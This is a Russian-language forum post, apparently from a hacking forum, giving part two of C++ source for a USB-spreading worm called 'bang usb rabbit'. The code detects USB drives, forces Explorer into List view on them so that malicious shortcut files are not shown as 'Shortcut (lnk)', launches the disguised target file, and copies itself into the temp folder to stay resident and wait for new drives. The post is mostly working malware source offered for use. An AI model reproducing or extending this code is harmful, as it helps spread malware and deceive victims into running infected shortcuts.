Admin
Администратор
bang usb rabbit [2]
Часть 2
Поиск usb, внешний вид.
Теперь мы переходим в область поиска usb и сокрытия вида.
Сделав 100500 версий, и смотря на них я понял, что .lnk это хорошо, НО меня сильно напрягало, что справа есть Type, где пишет Shortcut(lnk)
Первая мысля была, херануть реестр и через него убрать в нужной нам папке Type, потыкав, понял, что тогда придётся убирать и size потому что .doc или .exe а размер 1 кб, чот не то)))
Тогда решение пришло быстро, ВИД, нужно сменить вид где не будет данного описания, и потыкав я выбрал List.
Функция для проверки, мы сейчас находимся в одном из тех папок или подпапок которые мы указали?
Что бы сменять вид ТОЛЬКО в указанных usb, а не во всём пк.
C++:
bool isInsideCur(const std::vector<std::wstring>& bases,
const std::wstring& cur)
{
for (const auto& base : bases)
{
if (_wcsicmp(base.c_str(), cur.c_str()) == 0)
return true;
if (cur.size() > base.size() &&
_wcsnicmp(cur.c_str(), base.c_str(), base.size()) == 0 &&
(base.back() == L'\\' || cur[base.size()] == L'\\'))
return true;
}
return false;
}
C++:
bool isUsbDrive(wchar_t letter)
{
wchar_t vol[] = { L'\\', L'\\', L'.', L'\\', letter, L':', 0 };
HANDLE h = CreateFileW(vol, 0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr, OPEN_EXISTING, 0, nullptr);
if (h == INVALID_HANDLE_VALUE)
return false;
STORAGE_PROPERTY_QUERY q{};
q.PropertyId = StorageDeviceProperty;
q.QueryType = PropertyStandardQuery;
BYTE buf[1024]{};
DWORD ret = 0;
bool ok = false;
if (DeviceIoControl(h, IOCTL_STORAGE_QUERY_PROPERTY,
&q, sizeof(q), buf, sizeof(buf), &ret, nullptr))
{
auto* d = (STORAGE_DEVICE_DESCRIPTOR*)buf;
ok = (d->BusType == BusTypeUsb);
}
CloseHandle(h);
return ok;
}
C++:
std::set<wchar_t> scanLetters()
{
std::set<wchar_t> res;
DWORD mask = GetLogicalDrives();
for (wchar_t l = L'A'; l <= L'Z'; l++)
{
if (mask & (1 << (l - L'A')))
{
wchar_t root[] = { l, L':', L'\\', 0 };
UINT t = GetDriveTypeW(root);
if ((t == DRIVE_FIXED || t == DRIVE_REMOVABLE) && isUsbDrive(l))
res.insert(l);
}
}
return res;
}
C++:
bool getActiveExplorerPath(std::wstring& out)
{
out.clear();
HWND fg = GetForegroundWindow();
if (!fg) return false;
IShellWindows* wins = nullptr;
if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
CLSCTX_ALL, IID_PPV_ARGS(&wins))))
return false;
long cnt = 0;
wins->get_Count(&cnt);
for (long i = 0; i < cnt; i++)
{
VARIANT v{};
v.vt = VT_I4;
v.lVal = i;
IDispatch* disp = nullptr;
if (FAILED(wins->Item(v, &disp)) || !disp)
continue;
IWebBrowserApp* wb = nullptr;
if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
{
HWND h = nullptr;
wb->get_HWND((LONG_PTR*)&h);
if (h == fg)
{
BSTR url;
if (SUCCEEDED(wb->get_LocationURL(&url)))
{
wchar_t buf[MAX_PATH];
DWORD len = MAX_PATH;
if (SUCCEEDED(PathCreateFromUrlW(url, buf, &len, 0)))
{
out = normalizePath(buf);
SysFreeString(url);
wb->Release();
disp->Release();
wins->Release();
return true;
}
SysFreeString(url);
}
}
wb->Release();
}
disp->Release();
}
wins->Release();
return false;
}
Самая главная вишенка на торте,ПРИНУДИТЕЛЬНО добровольно меняем вид на list
C++:
void ChangeListView()
{
IShellWindows* wins = nullptr;
if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
CLSCTX_ALL, IID_PPV_ARGS(&wins))))
return;
HWND fg = GetForegroundWindow();
long cnt = 0;
wins->get_Count(&cnt);
for (long i = 0; i < cnt; i++)
{
VARIANT v{};
v.vt = VT_I4;
v.lVal = i;
IDispatch* disp = nullptr;
if (FAILED(wins->Item(v, &disp)) || !disp)
continue;
IWebBrowserApp* wb = nullptr;
if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
{
HWND h = nullptr;
wb->get_HWND((LONG_PTR*)&h);
if (h == fg)
{
IServiceProvider* sp = nullptr;
if (SUCCEEDED(wb->QueryInterface(IID_PPV_ARGS(&sp))))
{
IShellBrowser* sb = nullptr;
if (SUCCEEDED(sp->QueryService(
SID_STopLevelBrowser, IID_PPV_ARGS(&sb))))
{
IShellView* sv = nullptr;
if (SUCCEEDED(sb->QueryActiveShellView(&sv)))
{
IFolderView2* fv = nullptr;
if (SUCCEEDED(sv->QueryInterface(IID_PPV_ARGS(&fv))))
{
fv->SetCurrentViewMode(FVM_LIST);
fv->Release();
}
sv->Release();
}
sb->Release();
}
sp->Release();
}
}
wb->Release();
}
disp->Release();
}
wins->Release();
}
wmain основной цикл
инициализирует данные
постоянно отслеживает подключённые usb
обрабатывает их
Изменение вида на List
Производит запуск основного файл через аргумент
Если кролик видит что на пк Нет других кроликов, тогда он копирует себя в temp и запускает свою копию
Что бы при извлечении флэшки не было ошибок, ну и что бы ждать новые флэшки.
C++:
int wmain(int argc, wchar_t* argv[])
{
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
g_selfName = fs::path(selfPath).filename();
CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
while (true)
{
std::set<wchar_t> usb = scanLetters();
std::vector<std::wstring> bases;
for (auto l : usb)
{
std::wstring root;
root += l;
root += L":\\";
bases.push_back(normalizePath(root));
const wchar_t* launchFile = argv[1];
if (argc > 1)
{
launchArgument(launchFile);
if (countMyProcess() == 1)
{
wchar_t exePath[MAX_PATH];
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
std::filesystem::path exeDir = std::filesystem::path(exePath).parent_path();
std::filesystem::path src = exeDir / g_selfName.c_str();
wchar_t tempPath[MAX_PATH];
GetTempPathW(MAX_PATH, tempPath);
std::filesystem::path dst = std::filesystem::path(tempPath) / g_selfName.c_str();
std::filesystem::copy_file(
src,
dst,
std::filesystem::copy_options::overwrite_existing
);
launchArgument(dst.c_str());
}
return 0;
}
CoInitialize(nullptr);
processRootSafe(root);
CoUninitialize();
}
std::wstring cur;
if (getActiveExplorerPath(cur))
{
if (isInsideCur(bases, cur))
ChangeListView();
}
Sleep(120);
}
CoUninitialize();
return 0;
}